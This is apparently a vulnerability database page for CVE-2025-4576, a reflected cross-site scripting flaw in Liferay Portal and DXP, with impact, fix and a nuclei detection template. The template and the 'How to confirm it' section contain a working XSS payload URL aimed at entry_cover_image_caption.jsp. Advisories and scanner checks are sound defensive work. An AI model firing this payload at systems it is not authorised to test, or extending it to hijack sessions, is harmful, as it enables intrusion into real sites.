HexBrain

Browse / CVEs / CVE-2025-4576

CVE-2025-4576· CWE-79

Liferay Portal & DXP - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
52%of all CVEs are less likely
Readycheck to confirm it

Liferay Portal 7.4.0 through 7.4.3.133 and Liferay DXP 2024.Q1.1 through 2025.Q1.4 contain a reflected XSS caused by improper sanitization in entry_cover_image_caption.jsp, letting remote non-authenticated attackers inject JavaScript.

Impact

Remote attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.

Fix

Update to the latest available version beyond 7.4.3.133 and 2025.Q1.4.

How to confirm it

Send: GET {{BaseURL}}/o/blogs-web/blogs/entry_cover_image_caption.jsp?coverImageURL=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains_all(body, "<script>alert(document.domain)</script>", "background-image") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-4576 -u <target>

The full check
id: CVE-2025-4576

info:
  name: Liferay Portal & DXP - Cross-Site Scripting
  author: xtr0nix
  severity: medium
  description: |
    Liferay Portal 7.4.0 through 7.4.3.133 and Liferay DXP 2024.Q1.1 through 2025.Q1.4 contain a reflected XSS caused by improper sanitization in entry_cover_image_caption.jsp, letting remote non-authenticated attackers inject JavaScript.
  impact: |
    Remote attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.
  remediation: |
    Update to the latest available version beyond 7.4.3.133 and 2025.Q1.4.
  reference:
    - https://github.com/advisories/GHSA-6qcg-28jh-hm7r
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4576
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-4576
    epss-score: 0.00648
    epss-percentile: 0.51386
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,xss,liferay,portal,dxp

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/blogs-web/blogs/entry_cover_image_caption.jsp?coverImageURL=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "background-image")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from